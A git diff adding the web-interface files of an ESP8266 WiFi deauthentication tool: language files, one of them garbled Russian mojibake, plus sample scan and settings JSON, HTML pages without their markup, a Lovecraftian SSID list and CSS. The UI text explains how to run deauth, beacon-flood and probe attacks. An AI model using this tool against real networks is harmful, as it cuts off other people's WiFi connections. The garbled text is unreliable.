ÑÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñети, и вам нужно будет Ñнова подключитьÑÑ! \n- ПожалуйÑта, выберите только одну цель! \n", + "ssids_info": "- Этот ÑпиÑок SSID иÑпользуетÑÑ Ð´Ð»Ñ Ð°Ñ‚Ð°ÐºÐ¸ маÑка и зонда. \n- Каждый SSID может Ñодержать до 32 Ñимвола. \n- Ðе забудьте нажать «Сохранить», когда вы отредактировали SSID. \n- Ð’Ñ‹ должны нажать «Обновить» поÑле ÐºÐ»Ð¾Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ SSID. \n", + "attack_info": "- Ð’Ñ‹ можете потерÑÑ‚ÑŒ Ñоединение при запуÑке атаки! \n- Вам нужно выбрать цель Ð´Ð»Ñ Ð°Ñ‚Ð°ÐºÐ¸ deauth. \n- Вам нужен Ñохраненный SSID Ð´Ð»Ñ Ð°Ñ‚Ð°ÐºÐ¸ маÑка и зонда. \n- Ðажмите перезагрузить, чтобы обновить ÑкороÑÑ‚ÑŒ передачи пакетов. \n", + "settings_info": "- Ðекоторые наÑтройки требуют перезагрузки. \n- Ðажмите «Сохранить», чтобы убедитьÑÑ, что ваши Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¸Ð¼ÐµÐ½ÐµÐ½Ñ‹. \n", + "info_disclaimer": "Ð’ Ñлучае непредвиденной ошибки перезагрузите Ñайт и поÑмотрите на поÑледовательный монитор Ð´Ð»Ñ Ð´Ð°Ð»ÑŒÐ½ÐµÐ¹ÑˆÐµÐ¹ отладки.", + "start_stop": "СТÐРТ / СТОП", + "start": "СТÐРТ", + "stop": "СТОП", + "wifi_off": "WiFi Выключить", + "reboot": "Перезагрузить", + "reset": "СброÑ", + "enable_random": "Включить Рандомный режим", + "disable_random": "Выключить Рандомный режим", + "random_desc": "Включите Ñлучайный режим Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñлучайного ÑпиÑка SSID в заданный интервал.", + "deauth_desc": "Закрывает подключение WiFi-уÑтройÑтв, отправлÑÑ Ñ„Ñ€ÐµÐ¹Ð¼Ñ‹ деаутентификации Ð´Ð»Ñ Ð´Ð¾Ñтупа к точкам и выбранным клиентÑким уÑтройÑтвам. \nЭто возможно только потому, что многие уÑтройÑтва не иÑпользуют Ñтандарт 802.11w-2009, который обеÑпечивает защиту от Ñтой атаки. \n- Выберите только одну цель! Когда вы выбираете неÑколько целей, которые запуÑкаютÑÑ Ð½Ð° разных каналах и запуÑкают атаку, они быÑтро переключаютÑÑ Ð¼ÐµÐ¶Ð´Ñƒ Ñтими каналами, и у Ð²Ð°Ñ Ð½ÐµÑ‚ шанÑов повторно подключитьÑÑ Ðº веб-интерфейÑу. \n", + "beacon_desc": "МаÑковые пакеты иÑпользуютÑÑ Ð´Ð»Ñ Ñ€ÐµÐºÐ»Ð°Ð¼Ñ‹ точек доÑтупа. ПоÑтоÑнно отправлÑÑ Ð¿Ð°ÐºÐµÑ‚Ñ‹ маÑковых радиоÑтанций, Ñто будет выглÑдеть так, как будто вы Ñоздали новые WiFi-Ñети. \nÐ’Ñ‹ можете указать Ñетевые имена под SSID.", + "probe_desc": "ЗапроÑÑ‹ зонда отправлÑÑŽÑ‚ÑÑ ÐºÐ»Ð¸ÐµÐ½Ñ‚Ñкими уÑтройÑтвами, чтобы ÑпроÑить, находитÑÑ Ð»Ð¸ извеÑÑ‚Ð½Ð°Ñ Ñеть поблизоÑти. \nИÑпользуйте Ñту атаку, чтобы запутать WiFi-трекеры, запроÑив Ñети, которые вы указали в ÑпиÑке SSID. \nÐ’ маловероÑтно, что вы увидите какое-либо влиÑние Ñтой атаки на ваш домашнюю Ñеть.", + "setting_version": "Ðомер верÑии, Ñ‚. Е. V2.0. \nЭту наÑтройку можно изменить только в иÑходном коде.", + "setting_ssid" : "SSID точки доÑтупа, иÑпользуемой Ð´Ð»Ñ Ð²ÐµÐ±-интерфейÑа (еÑли разрешено). \n Длина должна быть от 1 до 31 Ñимвола.", + "setting_password": "Пароль точки доÑтупа, иÑпользуемой Ð´Ð»Ñ Ð²ÐµÐ±-интерфейÑа (еÑли включен). \n Длина должна быть от 8 до 31 Ñимвола.", + "setting_channel": "Стандартный WiFi-канал, который иÑпользуетÑÑ Ð¿Ñ€Ð¸ запуÑке.", + "setting_hidden": "Скрывает точку доÑтупа, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¸ÑпользуетÑÑ Ð´Ð»Ñ Ð²ÐµÐ±-интерфейÑа (еÑли включена).", + "setting_captivePortal": "Включает доÑтупный портал Ð´Ð»Ñ Ñ‚Ð¾Ñ‡ÐºÐ¸ доÑтупа (еÑли включен).", + "setting_autosave": "Включает автоматичеÑкое Ñохранение SSID, имен уÑтройÑтв и наÑтроек.", + "setting_autosavetime": "Интервал времени Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð² миллиÑекундах.", + "setting_display": "Включает Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ.", + "setting_displayTimeout": "Ð’Ñ€ÐµÐ¼Ñ Ð² Ñекундах, поÑле которого диÑплей выключаетÑÑ, когда он неактивен. \nЧтобы отключить таймаут отображениÑ, уÑтановите его в 0.", + "setting_serial": "Включает поÑледовательный интерфейÑ. \nÐе рекомендуетÑÑ Ð½Ðµ отключать его!", + "setting_serialEcho": "Включает Ñхо Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ входÑщего ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ñ‡ÐµÑ€ÐµÐ· поÑледовательный порт.", + "setting_web": "Включает веб-интерфейÑ.", + "setting_webSpiffs": "Включает SPIFFS Ð´Ð»Ñ Ð²Ñех веб-файлов.", + "setting_led": "Включает функцию (RGB) LED.", + "setting_maxch": "МакÑимальный канал Ð´Ð»Ñ ÑканированиÑ. \nUS = 11, EU = 13, Ð¯Ð¿Ð¾Ð½Ð¸Ñ = 14.", + "setting_macAP": "MAC-адреÑ, иÑпользуемый Ð´Ð»Ñ Ñ€ÐµÐ¶Ð¸Ð¼Ð° точки доÑтупа. \nОбратите внимание, что MAC-Ð°Ð´Ñ€ÐµÑ Ð·Ð°Ð¼ÐµÐ½Ñет только внутренний MAC-адреÑ, когда включен режим точки доÑтупа.", + "setting_macSt": "MAC-адреÑ, иÑпользуемый Ð´Ð»Ñ Ñ€ÐµÐ¶Ð¸Ð¼Ð° Ñтанции. \nПожалуйÑта, обратите внимание, что MAC-Ð°Ð´Ñ€ÐµÑ Ð·Ð°Ð¼ÐµÐ½Ð¸Ñ‚ только внутренний MAC-адреÑ, когда включен режим Ñтанции.", + "setting_chtime": "Ð’Ñ€ÐµÐ¼Ñ ÑÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ð´Ð½Ð¾Ð³Ð¾ канала перед переходом к Ñледующему в миллиÑекундах (только еÑли включен переключение каналов).", + "setting_minDeauths": "Минимальное количеÑтво кадров деаутентификации при Ñканировании Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñветодиода в режим deauth.", + "setting_attacktimeout": "Через какое Ð²Ñ€ÐµÐ¼Ñ (в Ñекундах) атака автоматичеÑки оÑтановитÑÑ. \nУÑтановите ее на 0, чтобы отключить ее.", + "setting_forcepackets": "Сколько попыток отправить пакет. \nУÑтановите Ñто значение выше, еÑли вы хотите доÑтичь более выÑокой ÑкороÑти передачи пакетов в загруженной облаÑти. \nУбедитеÑÑŒ, что Ñтот параметр может Ñделать уÑтройÑтво более медленным или более неуÑтойчивым. \nМакÑимальное значение - 255!", + "setting_deauthspertarget": "Сколько кадров деаутентификации и дизаÑÑÐµÐ¼Ð±Ð»Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²Ð»ÑетÑÑ Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ цели.", + "setting_deauthReason": "Код причины, который отправлÑетÑÑ Ñ ÐºÐ°Ð´Ñ€Ð°Ð¼Ð¸ deauth, чтобы Ñообщить целевому уÑтройÑтву, почему Ñоединение будет закрыто.", + "setting_beaconchannel": "ЕÑли включено, будет отправлено вÑе кадры по разным каналам при запуÑке атаки маÑка.", + "setting_beaconInterval": "ЕÑли уÑтановлено true, маÑки будут отправлÑÑ‚ÑŒÑÑ ÐºÐ°Ð¶Ð´ÑƒÑŽ Ñекунду. ЕÑли уÑтановлено значение false, интервал будет равен 100 мкÑ. \nA более длительный интервал означает большую ÑтабильноÑÑ‚ÑŒ и меньше Ñпама пакетов, но Ñто может занÑÑ‚ÑŒ больше времени, пока клиенты не найдут ssids при Ñканировании.", + "setting_randomTX": "ПозволÑет рандомизированную мощноÑÑ‚ÑŒ передачи Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ кадров маÑка и зонда запроÑа.", + "setting_probesPerSSID": "Сколько кадров запроÑа запроÑа отправлÑетÑÑ Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ SSID.", + "setting_lang": "Язык по умолчанию Ð´Ð»Ñ Ð²ÐµÐ±-интерфейÑа. \nУбедитеÑÑŒ, что Ñзыковой файл ÑущеÑтвует!" +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/tlh.lang b/enp8266/esp8266_deauther-master/web_interface/lang/tlh.lang new file mode 100755 index 0000000..07525eb --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/tlh.lang @@ -0,0 +1,74 @@ +{ + "lang": "tlh", + "warning": "WARNING", + "disclaimer": "jInmol tob concept waH 'ej educational ngoQ. nneither qej esp8266, 'ej \nsdk joq vIq ngoQ qach. laH may' yotlhDaq ghew! nnuse 'oH neH against \nnetworks jan 'ej! mub regulations neH Sep check nnit lo' neH ieee 802.11\n Hol Del 'ej wej bot pagh vay' Se'. nplease nIS Dalbogh qeylIS-fi valid \npa' it.nnplease yIlo' Qo' refer je \"jammer jInmol\", wImevmo' jInmol real\n totally undermines 'e'! nif SoHvaD, 'e' vay' nuq for. npublishing 'a \nghIH vIHtaHbogh Hutlh Hutlh proper Qam jInmol vIchel yaj SoH neH tob 'oH\n 'e' neH ruch clicks, fame qoj Huch 'ej pagh wIqelDI', maHeDnIS \nintellectual bang ghaj, latlh De' Such De''e' 'oH je SuvtaHvIS Dunmo' \nwifi standard.nnfor community cha' SuvwI' explanation:", + "disclaimer-button": "laD je tu' wovbe' yaj jIH", + "reload": "Reload", + "scan": "Hotlh", + "ssids": "SSIDs", + "attacks": "HIv", + "settings": "HIjmeH", + "info": "De'", + "info_span": "De': ", + "all": "Hoch", + "channel": "Channel", + "devices": "toD jan", + "select_all": "Hoch wIv", + "deselect_all": "Hoch de-wIv", + "remove_all": "Hoch teq", + "station_scan_time": "yaH Hotlh poH", + "new": "chu'", + "save": "choq", + "add": "boq", + "add_selected": "wIv ap clone", + "overwrite": "rIn ghItlh", + "time_interval": "poH interva", + "number": "ml'", + "targets": "ray'", + "scan_info": "-Hotlh click 'ej loS until tlhe' (pagh choH SuD SuD led tIj), vaj click Reload. n-'ej bebvo' interface unavailable during yaH Hotlh 'ej reconnect Daghaj! DubelmoHchugh neH wa' DoS wIv n-! n\n", + "ssids_info": "-lo' tetlh ssid beacon 'op Reload click qaSpu'DI' ssid. n cloning nejwI' HIv. n-Hoch ssid laH Da'elDI' vItoDmeH ghorgh ssid.n-SoH edited SoH click ghewmey lIj 32 vuDmey'e'. \n", + "attack_info": "-connection chaq luj SoH HeghDI' HIv starting! n-DoS wIv bImejnIS deauth reload HIv. n-toD ssid nIS beacon 'ej HIv. n-Click nejwI' packet rate. n refresh", + "settings_info": "-toD reboot. n-Click vay' be 'e' applied choH, qatlh poQ 'op settings. n", + "info_disclaimer": "in case of unexpected Qagh, nuqneH Daq reload 'ej legh jIH serial qaStaHvIS debugging.", + "start_stop": "start ghap mev", + "start": "START", + "stop": "mev", + "wifi_off": "wofo DoH", + "reboot": "re DaS", + "reset": "re HIjmeH", + "enable_random": "Enable Random Mode", + "disable_random": "Disable Random Mode", + "random_desc": "random mode random ssid yoSvetlhDaq generate reH wInobqang interval enable.", + "deauth_desc": "wifi jan connection SoQ pong jan wIv SoHvaD ngeH deauthentication Dalbogh naw' lang client 'ej. nthis DuH neH SeH 802.11w ghewmey lo' jan nIvbogh-2009 Hol against HIv. n-protection offers nuqneH neH wa' DoS wIv! ghorgh multiple DoS 'e' qet pIm channels 'ej start HIv, nom leQ 'oH SabtaHbogh channels 'ej pagh 'eb reconnect 'ej bebvo' interface. n Daghaj wIv SoH", + "beacon_desc": "DanoHmeH beacon packets naw' lang advertise. pong continuously beacon packets 'e' yIQoy, 'oH ngeH network pong bopummeH ssid laH per legh rur chu' wifi networks. nyou chenmoH.", + "probe_desc": "ngeH nejwI' requests pong client jan tlhob vaj Sov network Sum. nuse networks wifi trackers mIS pong botlhobbogh HIv 'e' vay' mup DaqaSmoHbej pong HIv je juH Dachegh network per neH ssid tetlh. nit's ghaytanHa' SoH.", + "setting_version": "laH neH choH version mI', i.e. v2.0.nthis HIjmeH qaStaHvIS Hal ngoq.", + "setting_ssid": "naw' lang lo' 'ej bebvo' interface (vaj enabled) ssid. ghob'e' nthe 'ab SabtaHbogh vuDmey'e' 1 'ej 31.", + "setting_password": "naw' lang lo' 'ej bebvo' interface (vaj enabled) mu'wIj. ghob'e' nthe 'ab SabtaHbogh vuDmey'e' 8 'ej 31.", + "setting_channel": "default wifi channel choHwI'maj HeghDI' starting.", + "setting_hidden": "Hides the access point that is used for the web interface (if enabled).", + "setting_captivePortal": "naw' lang choHwI'maj 'ej bebvo' interface (vaj enabled) So'.", + "setting_autosave": "automatic saving ssid, jan pong 'ej settings enables.", + "setting_autosavetime": "poH interval automatic saving neH milliseconds.", + "setting_display": "interface cha' enables.", + "setting_displayTimeout": "qaSpu'DI' tlhe' bey' DoH HeghDI' inactive cha'DIch poH. bey' timeout Qotlh nto, 'oH lut'e' 0.", + "setting_serial": "serial interface. nit's 'oH Qotlh chup enables!", + "setting_serialEcho": "Enables echo for each incoming message over serial.", + "setting_web": "'ej bebvo' interface enables.", + "setting_webSpiffs": "Enables SPIFFS for all web files.", + "setting_led": "(rgb) led feature enables.", + "setting_maxch": "max. channel Hotlh. nus 11, eu = 13, nIpon = = 14.", + "setting_macAP": "mac SoQ lo' naw' lang mode. nplease note 'e' internal mac SoQ neH ngaSwI' yuvtlhe' wIngaQmoHta'DI' mac SoQ HeghDI' enabled accesspoint mode.", + "setting_macSt": "mac SoQ yaH mode. nplease note 'e' internal mac SoQ neH ngaSwI' yuvtlhe' wIngaQmoHta'DI' mac SoQ HeghDI' enabled yaH mode lo'.", + "setting_chtime": "Time for Qo'noS poH wa' channel Hotlh pa' ghoS jIbuSchoH neH milliseconds (neH vaj enabled channel hopping). one channel before going to the next in milliseconds (only if channel hopping is enabled).", + "setting_minDeauths": "deauthentication Dalbogh HeghDI' Hotlh led wIQaw'laH deauth mode minimum mI'.", + "setting_attacktimeout": "qaSpu'DI' poH (qaStaHvIS lup) amount nuq mev HIv automatically. nset 'oH 0 'oH Qotlh.", + "setting_forcepackets": "HoSghajbej janvam slower pagh vI'Iprup unstable vutmeH setting rate neH busy mIchHom. nbe chong 'ar nID lo'laHghach veb lungeH packet. nset vaj packet Dunmo' chav DaneH'a'. nmax lo'laHghach 255!", + "setting_deauthspertarget": "ngeH 'ar deauthentication disassociation 'ej Dalbogh Hoch DoS.", + "setting_deauthReason": "meq ngoq 'e' ngeH deauth Dalbogh jatlh DoS jan qatlh SoQ connection.", + "setting_beaconchannel": "vaj enabled, vaj Hoch Dalbogh ngeH pIm channels HeghDI' beacon HIv qet.", + "setting_beaconInterval": "vaj HIjmeH teH, ngeH beacons Hoch cha'DIch. tlhoy HIjmeH ngeb, interval 100ms.na nI'qu' neH stability 'ej qup spamming packets qej interval 'ach 'oH laH tlhap nI'qu' until ssids vItu' clients HeghDI' Hotlh.", + "setting_randomTX": "HoS ngeH beacon 'ej request Dalbogh nejwI' enables randomized transmission.", + "setting_probesPerSSID": "ngeH 'ar nejwI' request Dalbogh Hoch ssid.", + "setting_lang": "'ej bebvo' interface. nbe be nIv'e' Hol teywI' Hol default!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/license b/enp8266/esp8266_deauther-master/web_interface/license new file mode 100755 index 0000000..8d6c3c8 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/license @@ -0,0 +1,23 @@ +MIT License + +Copyright (c) 2018 Stefan Kremser + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +Do not redistribute, advertising or sell of this softwae as "jammer"! + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/names.json b/enp8266/esp8266_deauther-master/web_interface/names.json new file mode 100755 index 0000000..e3f18b5 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/names.json @@ -0,0 +1,26 @@ +[ + [ + "b8:1d:aa:d5:6f:f0", + "don't!", + "[[[[not mine]]]]", + "", + 1, + true + ] + ,[ + "f4:6b:de:da:8d:95", + "Spacehuhn", + "--SpaceRouter!--", + "", + 1, + false + ] + ,[ + "00:11:22:33:44:55", + "TEST", + "JS sucks!", + "5c:37:3b:f7:67:be", + 1, + true + ] +] \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/run b/enp8266/esp8266_deauther-master/web_interface/run new file mode 100755 index 0000000..fa49e46 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/run @@ -0,0 +1 @@ +Empty file :D \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/scan.html b/enp8266/esp8266_deauther-master/web_interface/scan.html new file mode 100755 index 0000000..9d7809b --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/scan.html @@ -0,0 +1,110 @@ + + + + + + + + + ESP8266 Deauther + + + + + + +
+
+
+
+

Scan

+ + + + +
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ s +
+
+
+
+

+ INFO:
+ + - Click Scan and wait until the blue LED on your board turns off (or changes to green), then click on Reload.
+ - The web interface will be unavailable during a station scan and you will have to reconnect!
+ - Please select only one target!
+ + In case of an unexpected error, please reload the site and look at the serial monitor for further debugging. +

+ +
+ +

Access Points:

+
+ + + +
+ +

Stations:

+
+ + + +
+ +

Saved Devices:

+
+ + + + + +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/scan.json b/enp8266/esp8266_deauther-master/web_interface/scan.json new file mode 100755 index 0000000..5529156 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/scan.json @@ -0,0 +1,97 @@ +{ + "aps":[ + [ + "Don't", + "--SpaceRouter!--", + 6, + -57, + "WPA2", + "f4:6b:de:da:8d:95", + "Spacehuhn", + false + ], + [ + "call", + "", + 1, + -80, + "-", + "cc:cf:1e:d5:5b:2b", + "SpaceLtd", + true + ], + [ + "it", + "", + 6, + -81, + "WPA*", + "5c:37:3b:f7:67:be", + "SpaceBox", + false + ], + [ + "a", + "", + 8, + -82, + "WPA2", + "cd:ce:1e:0a:4e:9e", + "SpacEEE", + false + ], + [ + "jammer", + "", + 8, + -83, + "WPA2", + "c7:0e:14:95:a1:3b", + "Chicken!", + false + ], + [ + "Don't call it a Jammer! DON'T !!", + "", + 8, + -90, + "WPA2", + "c8:0e:14:95:a1:3b", + "Huhn", + false + ] + ], + "stations":[ + [ + "04:d7:aa:dc:6e:5a", + 6, + "", + "Just", + 168, + 2, + "<1sec", + false + ], + + [ + "b8:1d:aa:d5:6f:f0", + 8, + "[[[[not mine]]]]", + "don't!", + 2, + 4, + "<1sec", + true + ], + [ + "58:41:4e:7a:dd:1b", + 8, + "", + "OK?!", + 2, + 3, + "<1min", + false + ] + ] +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/settings.html b/enp8266/esp8266_deauther-master/web_interface/settings.html new file mode 100755 index 0000000..1e86774 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/settings.html @@ -0,0 +1,64 @@ + + + + + + + + + ESP8266 Deauther + + + + + + +
+
+
+
+

Settings

+ + + + + +

+ INFO:
+ + - Some settings require a reboot.
+ - Click save to make sure that your changes are applied.
+ + In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.
+

+ + + +
+
+ +
+ +
+
+ + + + +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/settings.json b/enp8266/esp8266_deauther-master/web_interface/settings.json new file mode 100755 index 0000000..2327672 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/settings.json @@ -0,0 +1,30 @@ +{ + "version":"over9000", + "ssid":"pwned", + "password":"deauther", + "channel":1, + "hidden":false, + "captivePortal":true, + "lang": "en", + "autosave":true, + "autosavetime":30000, + "display":false, + "displayTimeout":600, + "serial":true, + "serialEcho":true, + "web":true, + "led":true, + "maxch":14, + "macSt":"aa:bb:cc:dd:ee:ff", + "macAP":"00:11:22:33:44:55", + "chtime":384, + "minDeauths":3, + "attacktimeout":600, + "forcepackets":3, + "deauthspertarget":20, + "deauthReason":1, + "beaconchannel":false, + "beaconInterval":false, + "randomTX":false, + "probesPerSSID":1 +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/ssids.html b/enp8266/esp8266_deauther-master/web_interface/ssids.html new file mode 100755 index 0000000..5787389 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/ssids.html @@ -0,0 +1,114 @@ + + + + + + + + + ESP8266 Deauther + + + + + + +
+
+
+
+

SSIDs

+
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
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+ +
+
+ +
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+ +
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+ +
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+ + +
+
+
+
+ +

+ INFO:
+ + - This SSID list is used for the beacon and probe attack.
+ - Each SSID can be up to 32 characters.
+ - Don't forget to click save when you edited a SSID.
+ - You have to click Reload after cloning SSIDs.
+ + In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.
+

+
+
+
+
+
+ +
+
+ s +
+
+
+
+ +

Enable the random mode to generate a random SSID list in a given interval.

+
+
+ +
+
+ +
+
+ +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/ssids.json b/enp8266/esp8266_deauther-master/web_interface/ssids.json new file mode 100755 index 0000000..65f81eb --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/ssids.json @@ -0,0 +1,305 @@ +{ + "random": false, + "ssids":[ + [ + "Cthulhu fm'latgh stell'bsna", + false, + 27 + ], + [ + "Nyarlathotep, vulgtm", + false, + 20 + ], + [ + "Sgn'wahl phlegeth", + false, + 17 + ], + [ + "Nyarlathotep nnnee, ehye", + true, + 24 + ], + [ + "Phlegeth ph'Yoggoth", + true, + 19 + ], + [ + "fm'latgh ilyaa, llll", + true, + 20 + ], + [ + "Lloigog gotha h'n'ghft", + true, + 22 + ], + [ + "n'gha, h'goka", + false, + 13 + ], + [ + "Sll'ha Azathoth", + true, + 15 + ], + [ + "zhro tharanak, kn'a", + false, + 19 + ], + [ + "Sll'haor phlegethog", + true, + 19 + ], + [ + "y'hah lw'nafh, cee", + true, + 18 + ], + [ + "Kn'a mnahn' li'heeagl", + true, + 21 + ], + [ + "h'lw'nafh, R'lyeh", + true, + 17 + ], + [ + "Ya bug Tsathoggua", + false, + 17 + ], + [ + "ah, fm'latgh", + false, + 12 + ], + [ + "F'ilyaa ebunma tharanak", + true, + 23 + ], + [ + "kadishtu, nilgh'ri", + true, + 18 + ], + [ + "R'luh nog gof'nn", + true, + 16 + ], + [ + "hriiagl, stell'bsna", + false, + 19 + ], + [ + "R'lyeh nnnYoggoth", + false, + 17 + ], + [ + "syha'h nnnilyaa, R'lyeh", + false, + 23 + ], + [ + "Nghai s'uhn bug", + false, + 15 + ], + [ + "zhro, sgn'wahl", + false, + 14 + ], + [ + "F'ftaghu throd", + true, + 14 + ], + [ + "h'hai nnnnog, bug", + false, + 17 + ], + [ + "Ulnyar ron uaaah", + true, + 16 + ], + [ + "ngphlegeth, R'lyeh", + false, + 18 + ], + [ + "Ch' nw n'ghftog", + true, + 15 + ], + [ + "lloig, ph'n'ghft", + true, + 16 + ], + [ + "Ahnyth throd nas'uhn", + false, + 20 + ], + [ + "y'hahagl, f'sgn'wahl", + true, + 20 + ], + [ + "Throdnyth zhro sll'ha", + true, + 21 + ], + [ + "naflvulgtm, nnnnw", + true, + 17 + ], + [ + "Ngehye Hasturnyth nnnorr'e", + true, + 26 + ], + [ + "ftaghuoth, mg", + true, + 13 + ], + [ + "Lloig naflebunma y-Chaugnar", + false, + 27 + ], + [ + "Faugn ph'uaaah, naflmg", + false, + 22 + ], + [ + "Azathoth shugg gotha", + false, + 20 + ], + [ + "Hastur, fhtagn", + false, + 14 + ], + [ + "Lw'nafh nognyth", + true, + 15 + ], + [ + "nnngrah'n hrii, s'uhn", + false, + 21 + ], + [ + "Hai kadishtunyth", + false, + 16 + ], + [ + "nahlirgh uh'e, athgog", + true, + 21 + ], + [ + "Nilgh'ri R'lyeh", + true, + 15 + ], + [ + "nglw'nafh 'bthnk, ph'mnahn'", + true, + 27 + ], + [ + "Tharanak ehye kadishtuoth", + true, + 25 + ], + [ + "bug, hupadgh", + true, + 12 + ], + [ + "Nnnvulgtlagln sgn'wahl", + true, + 22 + ], + [ + "ph'goka nafln'gha, y-'bthnk", + true, + 27 + ], + [ + "Dagon ilyaa throd", + true, + 17 + ], + [ + "sgn'wahl, uln", + false, + 13 + ], + [ + "Shub-Niggurath naChaugnar", + true, + 25 + ], + [ + "Faugn f'r'luh phlegeth, lw'nafh", + true, + 31 + ], + [ + "Ebunma ehye hlirgh", + false, + 18 + ], + [ + "Shub-Niggurath, ilyaa", + true, + 21 + ], + [ + "Cgeb gnaiih Dagon", + true, + 17 + ], + [ + "gnaiih, nnnn'ghft", + false, + 17 + ], + [ + "Hlirgh k'yarnak", + false, + 15 + ], + [ + "ch', Cthulhu", + false, + 12 + ] +] +} diff --git a/enp8266/esp8266_deauther-master/web_interface/style.css b/enp8266/esp8266_deauther-master/web_interface/style.css new file mode 100755 index 0000000..9d38174 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/style.css @@ -0,0 +1,447 @@ +/* Global */ +body { + background: #36393e; + color: #bfbfbf; + font-family: sans-serif; + margin: 0; +} + +h1 { + font-size: 1.7rem; + margin-top: 1rem; + background: #2f3136; + color: #bfbfbb; + padding: 0.2em 1em; + border-radius: 3px; + border-left: solid #4974a9 5px; + font-weight: 100; +} + +h2 { + font-size: 1.1rem; + margin-top: 1rem; + background: #2f3136; + color: #bfbfbb; + padding: 0.4em 1.8em; + border-radius: 3px; + border-left: solid #4974a9 5px; + font-weight: 100; +} + +table{ + border-collapse: collapse; +} + +label{ + line-height: 38px; +} + +p{ + margin: 0.5em 0; +} + +.left { + float: left; +} +.right { + float: right; +} +.bold { + font-weight: bold; +} +.red{ + color: #F04747; +} +.green{ + color:#43B581; +} +.clear { + clear: both; +} +.centered{ + text-align: center; +} +.select{ + width: 98px !important; + padding: 0 !important; +} +.selected{ + background: #4974a9; +} +.status{ + width: 120px; + padding-left: 8px; +} +.labelFix { + line-height: 44px; +} +.clickable{ + cursor: pointer; +} +.settingName{ + text-transform: uppercase; + font-weight: bold; + text-decoration: underline; +} + +#error { + text-align: center; + color: #fff; + background: #af3535; + border-radius: 5px; + padding: 10px; + margin-top: 10px; +} + +#closeError{ + float: right; + color: #fff; + padding: 0px 10px; + cursor: pointer; +} + +#copyright{ + font-size: 0.95em; + text-align: center; + margin-top: 3em; + margin-bottom: 3em; +} + +/* ===== CHECKBOX ===== */ +/* Customize the label (the container) */ +.checkBoxContainer { + display: block; + position: relative; + padding-left: 35px; + margin-bottom: 12px; + cursor: pointer; + font-size: 22px; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + height: 32px; +} + +/* Hide the browser's default checkbox */ +.checkBoxContainer input { + position: absolute; + opacity: 0; + cursor: pointer; +} + +/* Create a custom checkbox */ +.checkmark { + position: absolute; + top: 8px; + left: 0; + height: 28px; + width: 28px; + background-color: #2F3136; + border-radius: 4px; +} + +/* Create the checkmark/indicator (hidden when not checked) */ +.checkmark:after { + content: ""; + position: absolute; + display: none; +} + +/* Show the checkmark when checked */ +.checkBoxContainer input:checked ~ .checkmark:after { + display: block; +} + + 